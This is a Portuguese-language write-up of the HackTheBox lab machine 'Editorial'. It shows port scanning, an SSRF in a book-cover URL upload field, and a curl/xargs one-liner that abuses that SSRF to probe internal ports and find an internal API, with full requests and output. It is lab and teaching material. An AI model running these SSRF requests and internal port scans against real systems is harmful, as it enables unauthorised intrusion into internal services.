Hello Friend
LinkedIn
  • Hello Friend
  • CTF
    • HackTheBox
      • Ambassador
      • BoardLight
      • Driver
      • Editorial
      • Love
      • Photobomb
      • Return
      • Shocker
      • Squashed
      • TwoMillion
    • Vulnhub
      • Venom 1
    • HackMyVM
      • Eyes
    • TheHackersLabs
      • Accounting
    • Sherlocks
      • Brutus
Fornecido por GitBook
Nesta página
  • Reconhecimento de Rede
  • Verificando a conectividade via Ping
  • Varredura de Portas e Serviços
  • Exploração HTTP
  • Exploração do Upload de Arquivos
  • Explorando Vulnerabilidade SSRF
  • Enumeração de Portas via SSRF
  • Enumerando as rotas da API
  • Acesso ao Alvo via SSH
  • Movimentação Lateral - Dumping Git Secrets
  • Escalada de Privilégios via CVE-2022-24439
  1. CTF
  2. HackTheBox

Editorial

#easy #HackTheBox #Linux #OSCP #eWPT #BSCP

AnteriorDriverPróximoLove

Atualizado há 6 meses

Guia com dicas que podem te auxiliar na resolução do CTF antes de ler o write-up.
  1. Escaneie portas do alvo para identificar serviços.

  2. Analise a funcionalidade de upload de arquivos com um web proxy.

  3. Teste URLs a serem aceitas pela aplicação, internas ou externas.

  4. Preste atenção ao tempo de resposta e ao conteúdo retornado em requisições diferentes.

  5. Descubra alguma porta aberta do lado do servidor.

  6. Analise arquivos e endpoints da API em busca de informações sensíveis.

  7. Acesse o alvo com a credencial obtida.

  8. Revise repositórios de código em busca de segredos expostos.

  9. Migre para outro usuário e observe suas permissões privilegiadas.

  10. Identifique qual biblioteca do script está desatualizada.

  11. Pesquise por CVEs relacionados à biblioteca identificada.

  12. Utilize a vulnerabilidade encontrada para escalar privilégios no sistema.

Reconhecimento de Rede

Verificando a conectividade via Ping

A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.

No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# ping -c 1 10.10.11.20
PING 10.10.11.20 (10.10.11.20) 56(84) bytes of data.
64 bytes from 10.10.11.20: icmp_seq=1 ttl=63 time=46.7 ms

--- 10.10.11.20 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 46.707/46.707/46.707/0.000 ms

Varredura de Portas e Serviços

Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta nmap para verificar todas as portas (1-65535) do alvo e garantir que nenhum serviço passasse despercebido. Além disso, habilitamos a detecção de versões de serviços e scripts para ter mais informações detalhadas.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# nmap 10.10.11.20 -sSCV -p- --min-rate=5000 -vv -n -Pn -oN tcp-scan.txt -oX tcp-scan.xml
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMApl7gtas1JLYVJ1BwP3Kpc6oXk6sp2JyCHM37ULGN+DRZ4kw2BBqO/yozkui+j1Yma1wnYsxv0oVYhjGeJavM=
|   256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXtxiT4ZZTGZX4222Zer7f/kAWwdCWM/rGzRrGVZhYx
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • -sSCV: Realiza a descoberta de portas com SYN Scan, e em seguida escaneia as portas abertas, detectando versões de serviços e usando scripts do nmap.

  • -p-: Escaneia todas as portas possíveis (1-65535).

  • --min-rate=5000: Define uma taxa mínima de pacotes para acelerar a varredura.

  • -vv: Mostra mais detalhes durante o processo de varredura.

  • -n: Desabilita a resolução de DNS para acelerar o processo.

  • -Pn: Não realiza o ping, útil em casos de firewalls ou filtros ICMP.

  • -oN e -oX: Salvam os resultados em arquivos de texto e XML, respectivamente, para posterior análise.

A saída da varredura identificou duas portas abertas:

  • 22/tcp: OpenSSH 8.9p1, usado para conexões SSH.

  • 80/tcp: nginx 1.18.0, serviço HTTP.

Exploração HTTP

Ao investigar a porta 80, notamos que o site responde com o domínio editorial.htb. Esse domínio não é automaticamente resolvido pelo sistema, então é necessário adicionar manualmente o mapeamento no arquivo /etc/hosts para permitir que possamos acessá-lo corretamente.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# tail -n1 /etc/hosts
10.10.11.20	editorial.htb

Após isso, podemos testar a comunicação com o domínio:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# ping -c 1 editorial.htb
PING editorial.htb (10.10.11.20) 56(84) bytes of data.
64 bytes from editorial.htb (10.10.11.20): icmp_seq=1 ttl=63 time=39.3 ms

--- editorial.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 39.347/39.347/39.347/0.000 ms

Agora, estamos prontos para interagir com o site.

O próximo passo é entender mais sobre o site rodando no servidor web. Utilizamos a ferramenta httpx para extrair informações sobre o servidor HTTP, como o status do servidor, tipos de conteúdo, e tecnologias utilizadas.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# /root/go/bin/httpx -u http://editorial.htb -silent -sc -cl -ct -rt -title -td -server -location
http://editorial.htb [200] [] [8577] [text/html] [Editorial Tiempo Arriba] [nginx/1.18.0 (Ubuntu)] [90.925003ms] [Bootstrap,Nginx:1.18.0,Ubuntu]

A saída mostra:

  • Status 200, o que indica que a página está acessível.

  • O título da página é Editorial Tiempo Arriba.

  • O servidor está rodando nginx 1.18.0 no Ubuntu.

Acessando o site no navegador, a página inicial sugere que é o site de uma loja editorial de livros. Nesse momento, temos uma visão geral da funcionalidade básica do site.

Para garantir que não estamos perdendo páginas ocultas ou recursos não documentados, usamos a ferramenta gospider para varrer o site em busca de links, formulários e outras possíveis páginas de interesse.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# gospider -s http://editorial.htb/ -d 3
[url] - [code-200] - http://editorial.htb/
[url] - [code-200] - http://editorial.htb/about
[url] - [code-200] - http://editorial.htb/upload
[form] - http://editorial.htb/upload
[upload-form] - http://editorial.htb/upload

A enumeração revelou alguns recursos importantes:

  • /upload: Uma página de envio de arquivos, que pode ser explorada para uploads maliciosos.

  • /about: Uma página com informações sobre o site, incluindo um e-mail de contato (submissions@tiempoarriba.htb).

  • Detalhes de livros e autores, que podem ser úteis para a criação de dicionários de ataque se necessário.

Esses recursos são essenciais para planejar a próxima etapa da exploração, especialmente o ponto de upload de arquivos, que pode permitir uma superfície de ataque caso nós como usuários tivermos controle sob o que pode ser enviado.

Exploração do Upload de Arquivos

Geralmente, funcionalidades de upload podem ser exploradas para comprometer um servidor, dependendo de como o upload é tratado e quais restrições existem para o tipo de arquivos aceitos. Decidi explorar essa funcionalidade para entender se haveria uma maneira de usá-la como vetor de ataque.

Primeiro Teste: Upload e Imagem

Para começar, eu realizei um teste básico com um arquivo de imagem legítimo, verificando como o sistema processa uploads normais. Baixei uma imagem qualquer para isso:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# wget https://cdn.smartfacts.ru/385117/mister-robot_3.jpg
mister-robot_3.jpg           100%[============================================>]  72.44K  --.-KB/s    in 0.09s   

A partir deste ponto, abri o Burp Suite para monitorar e capturar todas as requisições relacionadas ao upload, a fim de observar o comportamento da aplicação.

Comportamento da Aplicação

A página de upload permite ao usuário fazer o upload de uma imagem diretamente de seu sistema ou fornecer uma URL para que o servidor faça o download da imagem. Aqui, temos dois possíveis caminhos para manipulação:

  • Upload de arquivo local: Enviar um arquivo malicioso a partir do meu sistema.

  • Upload via URL: Enviar uma URL que aponte para um servidor controlado por mim, permitindo monitorar as interações.

Decidi começar com o segundo caminho, fornecendo uma URL controlada para verificar se a aplicação buscaria a imagem diretamente do meu servidor. Para isso, iniciei um servidor HTTP simples na minha máquina de ataque, usando Netcat:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# nc -nlvp 80                                                                            
listening on [any] 80 ...

Ao fornecer a URL do meu servidor na página de upload e clicar em "Preview", observei que a aplicação realmente faz uma requisição para baixar a imagem diretamente do meu servidor.

Aqui está o tráfego capturado com Netcat:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# nc -nlvp 80                                                                            
listening on [any] 80 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.20] 57824
GET /mister-robot_3.jpg HTTP/1.1
Host: 10.10.14.4
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Aqui podemos observar que o alvo fez um GET request para minha máquina, confirmando que o servidor está buscando arquivos de URLs externas.

Entendendo a Requisição

No Burp Suite, pude analisar mais detalhadamente o comportamento da aplicação. A requisição ao servidor é enviada para o endpoint /upload-cover, como mostrado abaixo:

POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 322
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookurl"

http://10.10.14.4/mister-robot_3.jpg
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundaryiOx64j3IqqiG0GGa--

A imagem foi carregada no servidor, e a resposta indica que o arquivo foi armazenado em um caminho específico. O servidor retorna um identificador gerado aleatoriamente, o qual pode ser acessado no seguinte diretório:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 51

static/uploads/b58eacb7-8ce2-4f35-ae82-eb6b66fb3e8b

Agora, podemos acessar a imagem através da URL http://editorial.htb/static/uploads/b58eacb7-8ce2-4f35-ae82-eb6b66fb3e8b.

Além disso, analisando a resposta da uma página "Not Found" que é rotornada, percebi que a aplicação parece ser baseada no framework Flask. Isso pode ser útil em futuras explorações, uma vez que o Flask tem comportamentos previsíveis e vulnerabilidades bem documentadas.

A resposta é típica de Flask, o que reforça a suposição:

Explorando Vulnerabilidade SSRF

Observei que, ao alterar a URL de upload para localhost, a aplicação demorou consideravelmente para responder, indicando que uma tentativa de resolução da URL ocorreu. Em contraste, URLs não existentes (como "haxor") retornaram instantaneamente, sugerindo que não houve resolução. Isso sugere que a aplicação pode estar vulnerável a SSRF.

O teste com localhost foi realizado da seguinte forma:

POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 302
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookurl"

http://localhost
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundaryiOx64j3IqqiG0GGa--

O status da resposta foi 200 OK, e a aplicação demorou cerca de 20 segundos para responder. Isso indica que a aplicação tentou resolver a URL e possivelmente se conectou ao serviço em localhost.

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 61

/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg

Já, ao colocar URLs não existentes como "http://haxor", a resposta continua a ser um 200 OK, porém não houve demora na resposta.

Teste com Portas

Similarmente, ao testar portas:

  • Porta 80:

    • Requisição: http://localhost:80

    • Demora: ~20 segundos

  • Porta 1:

    • Requisição: http://localhost:1

    • Demora: ~48 milissegundos (resposta rápida)

Isso reforça a hipótese de que a aplicação está vulnerável a SSRF, já que a demora sugere uma conexão tentada.

Enumeração de Portas via SSRF

Agora, podemos explorar a possibilidade de um port discovery via SSRF. O objetivo é verificar quais portas estão abertas, utilizando o tempo e o conteúdo da resposta como indicativo.

O comando curl será utilizado com a opção -w para medir o tempo de resposta:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# curl -s https://google.com -o /dev/null -w "%{time_total}s"
0.188370s
  • -o /dev/null: descarta o conteúdo da resposta, para que ele não apareça no terminal.

  • -s: modo silencioso, para suprimir as mensagens de progresso.

  • -w: personaliza a saída, mostrando o tempo total da requisição usando o time_total.

Utilizaremos o xargs para fazer uma requisição em paralelo a múltiplas portas e registrar o tempo de resposta. A ideia é criar um oneliner que faça requisições em massa.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# seq 1 3 | xargs -P100 -I@ curl -s https:/localhost:@ -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n'
[+] PORT 2    LENGTH: 0    TIME: 0.000550s
[+] PORT 1    LENGTH: 0    TIME: 0.000211s
[+] PORT 3    LENGTH: 0    TIME: 0.000167s
  • P100: Realiza até 100 requisições em paralelo.

  • I@: Substitui @ pelo número da porta na URL.

Os resultados devem ser armazenados em um arquivo ou visualizados no terminal, permitindo que você identifique rapidamente quais portas apresentaram uma resposta lenta. As portas que demoram mais para responder são as que potencialmente estão abertas no serviço alvo.

O primeiro passo foi copiar uma requisição HTTP do burp para ser utilizada com curl (selecionar “Copy as curl command (bash)”). A ideia é adaptar o comando para incluir o tempo da requisição, o que facilita a análise das portas.

Usamos a flag -w para exibir o tempo total de resposta (%{time_total}), e capturamos o comprimento da resposta (%{size_download}), o que nos permite observar diferenças de comportamento nas respostas.

  • Porta 1: a requisição foi rápida (0.094s) e retornou uma resposta com tamanho pequeno, indicando que não há nada significativo rodando nessa porta além da imagem padrão da aplicação:

    ┌──(root㉿attacker)-[/home/kali/CTF]
    └─# curl --path-as-is -s -k -X $'POST' \
        -H $'Host: editorial.htb' -H $'Content-Length: 305' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa' -H $'Accept: */*' -H $'Origin: http://editorial.htb' -H $'Referer: http://editorial.htb/upload' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
        --data-binary $'------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://localhost:1\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa--\x0d\x0a' \
        $'http://editorial.htb/upload-cover' -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n'
    [+] PORT @    LENGTH: 78    TIME: 0.094823s
  • Porta 80: como já haviamos visto com burp, a requisição demorou consideravelmente mais (~20 segundos), sugerindo que algo significativo pode estar rodando nessa porta. Este comportamento diferente é um indicativo para focarmos mais nela:

    ┌──(root㉿attacker)-[/home/kali/CTF]
    └─# curl --path-as-is -s -k -X $'POST' \
        -H $'Host: editorial.htb' -H $'Content-Length: 305' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa' -H $'Accept: */*' -H $'Origin: http://editorial.htb' -H $'Referer: http://editorial.htb/upload' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
        --data-binary $'------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://localhost:80\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa--\x0d\x0a' \
        $'http://editorial.htb/upload-cover' -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n'
    [+] PORT @    LENGTH: 78    TIME: 20.112699s

Para agilizar o processo, paralelizamos a execução dos comandos usando o xargs para testar várias portas simultaneamente. Aqui, testamos as portas 79, 80 e 81. Como esperado, a porta 80 teve um tempo de resposta muito maior (~20s) em relação às outras, demonstrando que nosso oneliner funciona como esperávamos, trazendo a porta escaneada, o tamanho de resposta, e quanto tempo tardou em responder:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# seq 79 81 | xargs -P100 -I@ curl --path-as-is -s -k -X $'POST' \
    -H $'Host: editorial.htb' -H $'Content-Length: 305' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa' -H $'Accept: */*' -H $'Origin: http://editorial.htb' -H $'Referer: http://editorial.htb/upload' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
    --data-binary $'------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://localhost:@\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa--\x0d\x0a' \
    $'http://editorial.htb/upload-cover' -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n'
[+] PORT 79    LENGTH: 78    TIME: 0.090751s
[+] PORT 81    LENGTH: 78    TIME: 0.097482s
[+] PORT 80    LENGTH: 78    TIME: 20.351690s

Limitando a busca a portas específicas

Embora seja possível tentar escanear todas as 65.535 portas disponíveis, isso seria ineficiente e poderia sobrecarregar o servidor alvo. Como alternativa, optamos por limitar a busca às top 100 portas mais comuns que o Nmap escanearia em uma análise padrão de portas TCP.

A ideia aqui é que temos um total de 65.535 portas, mas realizar uma varredura em todas elas não é viável para esse contexto. Isso não apenas poderia resultar em um grande número de requisições e, consequentemente, sobrecarregar o servidor alvo, como também aumentaria o risco de um bloqueio devido ao volume de acessos. Além disso, isso poderia consumir tempo desnecessário, sem garantir que resultados relevantes sejam encontrados rapidamente.

Portanto, precisamos ser estratégicos na escolha das portas a serem escaneadas. Existem várias maneiras de limitar essa busca:

  • Escanear as portas mais frequentemente utilizadas por serviços específicos (como portas para serviços web: 80, 443, 8080, 8443, entre outras).

  • Buscar apenas portas associadas a determinados serviços, como aquelas mais comuns em servidores Ubuntu ou em aplicações Python/Flask, tecnologias que identificamos no alvo.

  • Usar uma lista pré-definida das portas mais escaneadas por ferramentas como o Nmap.

Nesse caso, decidi optar pelas top 100 portas TCP que o Nmap usa por padrão em um de seus modos de escaneamento. Essa abordagem permite focar em portas que são amplamente conhecidas por hospedar serviços comuns, maximizando as chances de sucesso sem sobrecarregar o alvo.

Gerando uma lista das top 100 portas

Para gerar essa lista, eu utilizei o Nmap para escanear as top 100 portas no localhost da minha máquina e salvei o resultado em um arquivo, para facilitar o processamento e reutilização posterior.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# nmap localhost --top-ports 100 -v -oG top100.ports

O arquivo de saída, top100.ports, contém as portas escaneadas:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat top100.ports                                      
# Nmap 7.94SVN scan initiated Sun Oct 20 12:44:19 2024 as: /usr/lib/nmap/nmap --top-ports 100 -v -oG top100.ports localhost
# Ports scanned: TCP(100;7,9,13,21-23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,631,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152-49157) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 127.0.0.1 (localhost)	Status: Up
Host: 127.0.0.1 (localhost)	Ports: 8080/open/tcp//http-proxy///	Ignored State: closed (99)
# Nmap done at Sun Oct 20 12:44:19 2024 -- 1 IP address (1 host up) scanned in 0.11 seconds

Com isso, o próximo passo foi extrair as portas em formato utilizável. Algumas delas estavam em intervalos (ex: 21-23), então precisei expandir esses intervalos.

Para extrair os intervalos e convertê-los em uma lista de portas individuais, usei um comando para buscar os intervalos presentes no arquivo e expandi-los com a ajuda de seq. Esse comando gera as portas em sequência e as salva no arquivo ports.txt:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat top100.ports | grep -oP "TCP\(.*?\)" | grep -oP "\d{1,5}-\d{1,5}"
21-23
25-26
79-81
110-111
143-144
443-445
513-515
543-544
1025-1029
2000-2001
6000-6001
8008-8009
8080-8081
9999-10000
49152-49157

Após executar o comando, o conteúdo do arquivo ports.txt ficou assim:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat top100.ports | grep -oP "TCP\(.*?\)" | grep -oP "\d{1,5}-\d{1,5}" | xargs -I@ sh -c 'seq $(echo "@" | tr "-" " ")' | tee ports.txt
21
22
23
25
26
79
80
81
110
111
143
144
443
444
445
513
514
515
543
544
1025
1026
1027
1028
1029
2000
2001
6000
6001
8008
8009
8080
8081
9999
10000
49152
49153
49154
49155
49156
49157

Ainda faltavam algumas portas listadas individualmente no arquivo do Nmap. Para resolver isso, utilizei um segundo comando para capturar essas portas isoladas e adicioná-las ao arquivo ports.txt:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat top100.ports | grep -oP "TCP\(.*?\)" | tr ',' '\n' | grep -oP "^\d{1,5}$" | tee -a ports.txt
9
13
37
53
88
106
113
119
135
139
179
199
389
427
465
548
554
587
631
646
873
990
993
995
1110
1433
1720
1723
1755
1900
2049
2121
2717
3000
3128
3306
3389
3986
4899
5000
5009
5051
5060
5101
5190
5357
5432
5631
5666
5800
5900
6646
7070
8000
8443
8888
9100
32768

Agora, ports.txt contém as 99 portas mais comuns que o Nmap utilizaria em um escaneamento básico:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat ports.txt | wc -l
99

Execução do Port Scan

Finalmente executamos nosso oneliner. O objetivo é observar o tempo de resposta e o tamanho da resposta retornada. Essas informações podem indicar se a porta está aberta ou se há algo relevante rodando nessa porta.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# xargs -a ports.txt -P100 -I@ curl --path-as-is -s -k -X $'POST' \
    -H $'Host: editorial.htb' -H $'Content-Length: 305' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa' -H $'Accept: */*' -H $'Origin: http://editorial.htb' -H $'Referer: http://editorial.htb/upload' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
    --data-binary $'------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://localhost:@\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa--\x0d\x0a' \
    $'http://editorial.htb/upload-cover' -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n' | tee -a SSRFports.txt
[+] PORT 22    LENGTH: 78    TIME: 0.125069s
[+] PORT 21    LENGTH: 78    TIME: 0.127881s
[+] PORT 26    LENGTH: 78    TIME: 0.185306s
[+] PORT 143   LENGTH: 78    TIME: 0.149119s
[+] PORT 81    LENGTH: 78    TIME: 0.163559s
[+] PORT 110   LENGTH: 78    TIME: 0.166407s
[+] PORT 79    LENGTH: 78    TIME: 0.186978s
[+] PORT 443   LENGTH: 78    TIME: 0.151489s
...<SNIP>...
[+] PORT 32768 LENGTH: 167   TIME: 0.211919s
[+] PORT 5900  LENGTH: 78    TIME: 0.253789s
[+] PORT 80    LENGTH: 78    TIME: 20.221370s
[+] PORT 9     LENGTH: 0     TIME: 60.159143s

Filtragem de resultados

Primeiro, agrupamos os resultados com base no tempo de resposta:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat SSRFports.txt | awk '{print $7}' | cut -d '.' -f 1 | uniq -c   
      1 
     97 0
      1 20
      1 60

O resultado indica que a maioria das portas responde em menos de 1 segundo, com exceção de duas (porta 80, como já sabíamos, e porta 9):

┌──(root㉿attacker)-[/home/kali/CTF]
└─# grep -E "TIME: (20|60)" SSRFports.txt
[+] PORT 80    LENGTH: 78    TIME: 20.221370s
[+] PORT 9     LENGTH: 0     TIME: 60.159143s

Em seguida, analisamos o tamanho da resposta:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat SSRFports.txt | awk '{print $5}' | sort | uniq -c
      1 
      1 0
      8 167
      1 71
     89 78

O resultado revela algumas respostas diferentes:

  • 167 bytes: Em oito portas.

  • 71 bytes: Em uma porta.

  • 0 bytes: Em uma porta (indicando uma resposta vazia).

┌──(root㉿attacker)-[/home/kali/CTF]
└─# grep -E "LENGTH: (0|167|71)" SSRFports.txt
[+] PORT 49154    LENGTH: 167    TIME: 0.170387s
[+] PORT 49153    LENGTH: 167    TIME: 0.211133s
[+] PORT 49157    LENGTH: 167    TIME: 0.141848s
[+] PORT 49152    LENGTH: 167    TIME: 0.210147s
[+] PORT 10000    LENGTH: 167    TIME: 0.226688s
[+] PORT 49156    LENGTH: 167    TIME: 0.183551s
[+] PORT 49155    LENGTH: 167    TIME: 0.209484s
[+] PORT 5000     LENGTH: 71     TIME: 0.139608s
[+] PORT 32768    LENGTH: 167    TIME: 0.211919s
[+] PORT 9        LENGTH: 0      TIME: 60.159143s

Observação com Burp Suite

Após identificar essas portas, passei a analisá-las usando o Burp Suite para confirmar se havia respostas válidas ou apenas falsos positivos. A porta 5000 chamou atenção ao retornar uma resposta diferente das demais. Ao tentar acessá-la, percebi que havia um comportamento semelhante a da rota de upload de arquivos.

POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 307
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookurl"

http://localhost:5000
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundaryiOx64j3IqqiG0GGa--
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 51

static/uploads/5d9ef4c0-7c0a-4d99-a83a-ff4e4af7f487

O corpo da resposta indicava o caminho para um arquivo específico. Ao fazer o download desse arquivo, descobri que se tratava do output de uma API que fornecia algumas rotas úteis para futuras explorações.

Enumerando as rotas da API

O conteúdo obtido ao acessar o arquivo da porta 5000 apresentou várias rotas da API:

Filtrando o conteúdo do arquivo com o comando jq, extraí todas as rotas disponíveis:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# jq '.. | .endpoint? // empty' /home/kali/Downloads/c4a75452-2844-4a5b-b212-0a51a552458f | tr -d '"' | tee routes.txt
/api/latest/metadata/messages/promos
/api/latest/metadata/messages/coupons
